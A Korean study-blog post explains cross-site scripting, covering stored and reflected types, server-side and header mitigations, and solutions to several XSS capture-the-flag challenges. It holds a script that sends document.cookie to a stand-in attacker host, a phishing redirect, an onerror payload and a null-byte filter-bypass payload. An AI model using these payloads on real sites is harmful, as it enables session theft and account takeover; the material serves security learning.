전재윤_ 2020. 5. 16. 03:59

Cross Site Scripting (XSS)

정의

서버의 응답에 공격자가 삽입된 악성 스크립트를 받은 사용자의 웹 브라우저에서 악성 스크립트*가 실행되는 취약점

임의의 악성 스크립트 실행 -> 해당 웹 사이트의 사용자 쿠키 또는 세션을 탈취 -> 서비스를 이용중인 사용자에 대한 공격을 수행(사용자의 권한을 얻거나, 사용자의 페이지를 변조하는 등) 

악성 스크립트가 전달되는 방식에 따라 Stored XSS, Reflected XSS 등으로 분류

 

*악성 스크립트는 브라우저가 실행할 수 있는 웹 리소스를 말하며, 대표적으로 HTML, JS(javascript) 등이 존재

 

수행조건

1. 입력 데이터에 대한 충분한 검증 과정이 없어야 함(=악성 스크립트가 삽입될 수 있어야 함)

2. 서버의 응답 데이터가 웹 브라우저 내 페이지에 출력 시 충분한 검증 과정이 없어야 함

   (=응답 데이터 출력 시 악성 스크립트가 웹 브라우저의 렌더링 과정에 성공적으로 포함되어야함)

 

예시)

게시판 서비스

공격자의 악성 스크립트가 포함된 게시글이 검증이 이루어지지 않은 채 웹 서버에 업로드 되고 다른 사용자가 게시글을 조회하는 순간 공격자의 악성 스크립트가 사용자의 웹 브라우저에서 실행

 

XSS 취약점에 대한 정보를 공유할 때 alert 또는 prompt와 같은 메시지 창을 실행하는 이유

XSS 취약점이 발생하였다는 점을 시각적으로 표현이 가능하기 때문

주로 메시지 창에는 해당 페이지의 domain을 확인하기 위해 document.domain을 인자로 줌

XSS with Javascript

Javascript(자바스크립트)-사용자의 입장에서 발생하는 행위를 동작 시킬 수 있기 때문에 XSS 공격 시 많이 사용되어짐

-사용자의 웹 브라우저에서 화면을 동적으로 보여줄 수 있도록 자동으로 버튼을 누르거나 화면 구성을 바꾸는 등의 작업을 할 때 사용

-사용자의 권한을 가지고 있는 세션 쿠키는 사용자에게 저장되어있고 웹 브라우저는 해당 쿠키에 접근할 수 있기 때문에 사용자와의 상호 

 작용 없이 사용자의 권한으로 정보를 조회하거나 변경하는 등의 요청을 주고 응답받는 것도 가능

-웹 브라우저에서 출력되어지는 페이지의 내용을 조작하거나, 웹 브라우저의 위치를 공격자가 원하는 주소로 변경 가능

 

자바스크립트를 실행하는 대표적인 방법으로 script 태그를 이용하는 방식이 존재

공격자가 입력 데이터로 script 태그를 전송 해 다른 사용자의 응답에 포함되면 공격자의 자바스크립트가 실행

script태그 외에도 태그의 속성 중 특정 상황에서 발생하는 on*이벤트들을 사용하여 자바스크립트 실행이 가능

 

예시)

쿠키 및 세션

<script>

alert("hello"); // "hello" 문자열 alert 실행

document.cookie; // 현재 페이지의 쿠키(return type: string)

alert(document.cookie); // 현재 페이지의 쿠키를 인자로 가진 alert 실행

document.cookie = "name=test;"; // 쿠키 생성(key: name, value: test)

new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;</script>

// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io

// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함

 

페이지 변경

<script>

document; // 사용자의 페이지 정보에 접근

document.write("Hacked By DreamHack !"); // 사용자의 페이지에 데이터를 삽입.

</script>

 

위치이동

<script>

location.href = "http://hacker.dreamhack.io/phishing"; // 사용자의 위치를 변경. 피싱 공격 등으로 사용됨

window.open("http://hacker.dreamhack.io/") // 새 창 열기

</script>

Stored XSS

악성 스크립트가 서버 내에 존재하는 데이터베이스 또는 파일 등의 형태로 저장되어 있다가 사용자가 저장된 악성 스크립트를 조회하는 순간 발생하는 형태의 XSS

서비스의 형태와 접근성, 그리고 해당 서비스를 통해 얻을 수 있는 정보 또는 행위들에 따라 파급력이 달라질 수 있음

 

예시)

게시판 서비스에서 작성된 게시물을 확인하는 과정에서 악성 스크립트가 포함된 게시물을 조회할 때 악성 스크립트가 실행되는 공격 방식

 

게시판과 같이 서버 내에 저장되어 있는 형태에서는 불특정 다수에게 공격이 가능하다는 점에서 높은 파급력이 발생할 가능성도 존재하지만, 악성 스크립트가 실행되는 페이지가 사용자가 일반적으로 접근하기 어려운 서비스일 경우에는 파급력이 달라질 수 있음

Reflected XSS

악성 스크립트가 사용자의 요청 시 전송되는 형태

사용자의 요청 데이터가 서버의 응답에 포함되는 과정에서 HTML 등의 악성 스크립트가 그대로 출력되어 발생

GET 방식을 사용

Stored XSS와는 다르게 사용자의 요청 데이터에 의해 취약점이 발생하기 때문에, 변조된 데이터가 사용자의 요청으로 전송되는 형태를 유도하여야 함

가장 간단한 방법으로는 특정 링크를 유도하는 방식이 존재하며 Click Jacking, Open Redirect 등의 다른 취약점과 연계하여 발생시키는 방법도 존재

 

예시)

게시판 서비스에서 작성된 게시물들을 조회하는 과정에서 조회하기 위해 입력한 데이터에 의해 발생하는 방식

사용자가 게시물 조회를 요청 시 서버는 해당 요청에 대하여 조회 한 결과를 응답에 출력하며, 편의성을 위해 사용자가 조회한 내용을 응답에 포함시키기도 함

이 때 서버에서 악성 스크립트에 대한 방어를 올바르게 하지 못하고 응답에 포함되며, 웹브라우저에서 페이지를 출력 시 반영(Reflect)되는 결과로 인해 Reflected XSS로 이어질 수 있습니다.

Mitigations

XSS는 웹 서비스상에서 빈번하게 일어나는 취약점 중 하나이며 오래전부터 발생했던 취약점이기 때문에 이를 방어하기 위해 많은 방안들이 존재

브라우저 단에서 방어하는 기술뿐만 아니라 서버 내부에 저장하는 시점 혹은 저장된 데이터를 꺼내와 출력하는 시점에 입력값을 올바르게 가공하는 방식으로 XSS를 방어해야 함

Server-side Mitigations

XSS를 유발할 수 있는 태그 삽입을 방지하기 위해 서버 단에서 검증하는 방법

 

사용자 인풋이 HTML 형태를 지원할 필요가 없어 HTML 태그가 입력될 일이 없다면 꺽쇠 (<, >), 따옴표(", ')와 같은 특수 문자를 HTML Entity Encoding을 이용해 태그로써 인식이 안되도록 수정(Escape) 할 수 있습니다.

만약 사용자 인풋에 HTML 형태를 지원해야 한다면 화이트리스트 필터링**을 해야함

**화이트리스트 필터링: 허용해도 안전한 일부 태그, 속성을 제외한 모든 값을 필터링 하는 것을 의미

ex)

게시글을 운영하는데 있어서 img, video, a 태그만 필요하다면 해당되는 세 개의 태그를 제외한 모든 태그는 필터링 시키는 방식

사용자 인풋을 필터링 할 때 유의할 점:

요청의 URI Query 값이나 POST Body 값만 필터링 할 것이 아니라 User-Agent, Referer와 같은 헤더도 모두 포함하여 사용자로부터 온 값에 모두 적용해야 함

Mozilla 에서 제작한 Bleach (https://github.com/mozilla/bleach) 라는 HTML 필터링 라이브러리를 추천

 

그 외에도 사용자가 로그인할 때 세션에 로그인한 IP주소를 함께 저장하고, 사용자가 페이지를 접속할 때마다 현재 IP주소와 로그인 했던 IP주소가 동일한지 여부를 확인하는 방법

해당 방법은 공격자가 세션 ID를 탈취해도 희생자와 IP주소가 달라 희생자의 세션을 사용하지 못하게 하는 장점이 있어 과거에 널리 쓰였으나 최근에는 Mobile 환경의 사용자가 점점 많아지면서 접속한 WiFi가 바뀔 때마다 사용자의 IP주소가 함께 바뀌는 문제점 때문에 접속한 IP가 아닌 접속한 국가가 변경된 경우를 탐지하는 형태로 변형되었음

 

# HTML Entity Encoding 예시

from jinja2 import utils

@app.route('/board/', methods=['GET', 'POST'])

def write():

...

if request.method == 'POST':

title =

utils.escape(request.form.get('title'))

content =

utils.escape(request.form.get('content'))

query = '...' % (...)

...

return result

 

# 화이트리스트 필터링 예시

import bleach # https://github.com/mozilla/bleach

@app.route('/board/', methods=['GET', 'POST'])

def write():

...

if request.method == 'POST':

ALLOW_TAGS = ['a', 'p', 'h1', 'h2', 'h3']

ALLOW_ATTRS = ['href']

title =

bleach.clean(request.form.get('title'), ALLOW_TAGS, ALLOW_ATTRS)

content =

bleach.clean(request.form.get('content'),

ALLOW_TAGS, ALLOW_ATTRS)

query = '...' % (...)

...

return result

HTTPOnly 플래그 사용

HTTPOnly:

서버 측에서 응답 헤더에 Set-Cookie 헤더를 전송해 쿠키를 생성할 때 옵션으로 설정 가능하며 자바스크립트에서 해당 쿠키에 접근 하는 것을 금지

이를 활용하면 XSS 취약점이 발생하더라도 공격자가 알아낼 수 없는 쿠키 값이기 때문에 세션쿠키를 설정할 땐 HTTPOnly 플래그를 설정하는 것을 추천

 

Set-Cookie: session=sbdh1vjwvq;

HttpOnly

Content Security Policy(CSP)사용

응답 헤더나 meta 태그를 통해 아래와 같이 선언해서 사용할 수 있으며, 각각의 지시어를 적용하여 사이트에서 로드하는 리소스들의 출처를 제한할 수 있음

Content-Security-Policy: <지시어>;

...

default-src 'self' *.dreamhack.io와 같이 설정된 CSP는 모든 리소스(이미지 파일, 스크립트 파일 등)의 출처가 현재 도메인이거나, *.dreamhack.io도메인이 출처일 경우만 허용

또한 script-src를 선언해 자바스크립트 코드의 출처를 제한할 수 있으며, 공격자가 외부에 업로드된 자바스크립트 파일을 호출하거나 직접 자바스크립트 코드를 작성하는 등의 행동을 막을 수 있음

하지만 신뢰할 출처를 선언하는 방식이니만큼 신뢰받는 CDN 서버가 해킹당하면 무력화되는 단점이 존재

이 외에도 많은 리소스 형식 (이미지, 폰트, 오브젝트, ...) 의 출처를 제한할 수 있는 지시어들이 존재하며 script-src 'nonce-noncevalue13b739d8ea12' 와 같이 script-src를 이용해 nonce (랜덤) 값을 설정하고 HTML 태그를 이용해 자바스크립트를 실행할 때는 반드시 서버에서 생성된 nonce 값을 알아야만 실행될 수 있도록 할 수 있음

즉, XSS 공격을 당하더라도 서버에서 매번 생성되는 nonce 값을 유추할 수 없다면 일반적인 방법으로 자바스크립트 실행이 불가능해짐

또한 script-src 'sha256-hashvalue_base64' 와 같은 형태로 자바스크립트나 스타일시트의 해시를 구해 CSP를 설정해주면 미리 구해둔 해시와 다를 경우 실행하지 않도록 할 수 있음

 

script 태그 안의 자바스크립트 코드의 해시를 미리 구해 CSP 를 설정해 alert(1)을 성공적으로 호출할 수 있도록 한 예시

<!doctype html>

<html>

<head>

<meta http-equiv="Content-Security-Policy" content="script-src 'sha256

5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA='">

</head>

<body>

<script>alert(1);

</script>

</body>

</html>

X-XSS-Protection Header

X-XSS-Protection은 Response Header에 아래와 같이 선언해서 사용

X-XSS-Protection: <값>

해당 정책은 웹 브라우저에 내장된 XSS Filter를 활성화할 것인지를 설정

XSS Filter는 웹 브라우저에서 전송된 Request 값이 XSS 공격 코드와 유사하게 생겼고, Response에 해당 공격 코드가 포함되었을 경우에 XSS 공격이 수행되었다고 판단하여 XSS 공격이 발생했음을 유저에게 알리고 차단

Request 값과 Response를 비교해 판단하는 것으로 보아 알 수 있듯이 Reflected XSS 공격을 막는 데에 적합한 방어 방법이며, 다른 유형의 XSS 공격을 방어할 수 없음

X-XSS-Protection: 0X-XSS-Protection: 1X-XSS-Protection: 1;

mode=blockX-XSS-Protection: 1;

report=<reporting-uri>

위와 같이 4가지 사용법이 있으며 해당 Header를 선언하지 않았을 때의 브라우저 기본 값은 1로, 기본으로 작동

0일 경우 XSS Filter를 사용하지 않으며, 1일 경우 XSS 공격이 감지되면 해당 부분만 제거한 뒤 페이지 결과를 화면에 출력

mode=block일 경우 XSS 공격이 감지되면 페이지 전체의 렌더링을 중단하며, report를 선언할 경우에 XSS 공격이 감지된 사실을 미리 설정된 주소에 신고하여 운영자가 대처하기 쉽도록 도와줄 수 있음

XSS Filter는 XSS 공격에 대한 강력한 방어수단이었지만, 최신 브라우저에서 삭제되는 추세

실 서비스의 보안을 위해서 이 헤더를 신뢰하지 않는 것을 권장함

 

XSS 문제 1

Mission Objective

Inject a script to pop up a JavaScript alert() in the frame below.
Once you show the alert you will be able to advance to the next level

 

너무 간단한 문제로 입력창에 <script> alert(); </script>를 입력해 주면 해결!!

XSS 문제 2

Mission Objective

Inject a script to pop up an alert() in the context of the application.
Note: the application saves your posts so if you sneak in code to execute the alert, this level will be solved every time you reload it.

 

똑같이 <script> alert(); </script>를 입력하면 문제가 풀리지 않는다. 

 

Server-side Mitigations을 피하기 위해 img테그를 사용하는 방식에서 아이디어를 얻어<img src="#" onerror="alert();"> 을 써보자

(물론 youtube 강의 내용에도 나와있다)

 

해결!!

webhacking-kr old 23

Your mission is to inject <script>alert(1);</script>

<html>
<head>
<title>Challenge 23</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body>
<form method=get action=index.php>
<table border=0 cellpadding=10>
<tr><td><input name=code></td><td><input type=submit></td></tr>
</table>
</form><br><br>
Your mission is to inject &lt;script>alert(1);&lt;/script>
<br><br>
</body>
</html>

소스코드는 다음과 같다. code에 어떤 값을 집어넣어서 원하는 결과를 얻으면 되는 문제다. get방식을 이용하니까 Reflected XSS방식으로 추정된다.

 

먼저 그냥 한번 <script>alert(1);</script>을 넣어보자.

no hack이라는 결과가 출력되고 index.php?code=<script>alert%281%29%3B<%2Fscript>가 생겼다.

 

기호'('가 필터링되어 %28처리 되었다. <기호가 필터링 처리가 안되서 no hack이 뜬거 아닐까 하는 생각에 hex incode해서 시도해 보았지만 해결되지 않았다.

 

그냥 아무거나 넣어보기로 하고 a를 넣으니 a가 출력되었다. 하지만 ab를 입력하자 no hack이 뜬다. 숫자를 넣어보니 이건 수에 상관없이 출력이 되었다. 아마 문자열을 입력 못하게 필터처리를 해놓은 것 같다.

 

reflected XSS와 관련이 있으므로 이에 대해 구글링을 해보았다.

https://blog.rubiya.kr/index.php/2019/03/28/browsers-xss-filter-bypass-cheat-sheet/

 

브라우저 XSS 필터 우회의 모든 것 – blog.rubiya.kr

이 글은 XSS Auditor, XSS 필터의 우회에 대해 다루고 있다. 대상은 Chrome, Firefox, Edge, IE11, Safari, Opera 이다. 만약 당신이 취약점 진단 업무를 하고있다면 XSS 필터의 우회가 가능하다는 사실을 널리 알��

blog.rubiya.kr

각 문자 사이사이마다 널문자(%00)을 넣어서 입력해보자

<%00s%00c%00r%00i%00p%00t%00>%00a%00l%00e%00r%00t%00(%001%00)%00;%00<%00/%00s%00c%00r%00i%00p%00t%00>

조심할 점은 박스안에 입력하는 것이 아닌 code=부분에 직접 입력해줘야 한다.

 

해결!

 

다시 볼만한 자료

http://coashanee5.blogspot.com/2017/02/xss.html

 

[웹 취약점] XSS 크로스 사이트 스크립팅

1. XSS 취약점 이란 대부분의 웹 해킹 기법은 웹 서버 설정 혹은 프로그램의 취약점을 공격하지만, XSS는 사용자를 공격하는 기법이다. 예를 들어 악성 코드가 포함된 글을 읽는 순간 악성 프로그��

coashanee5.blogspot.com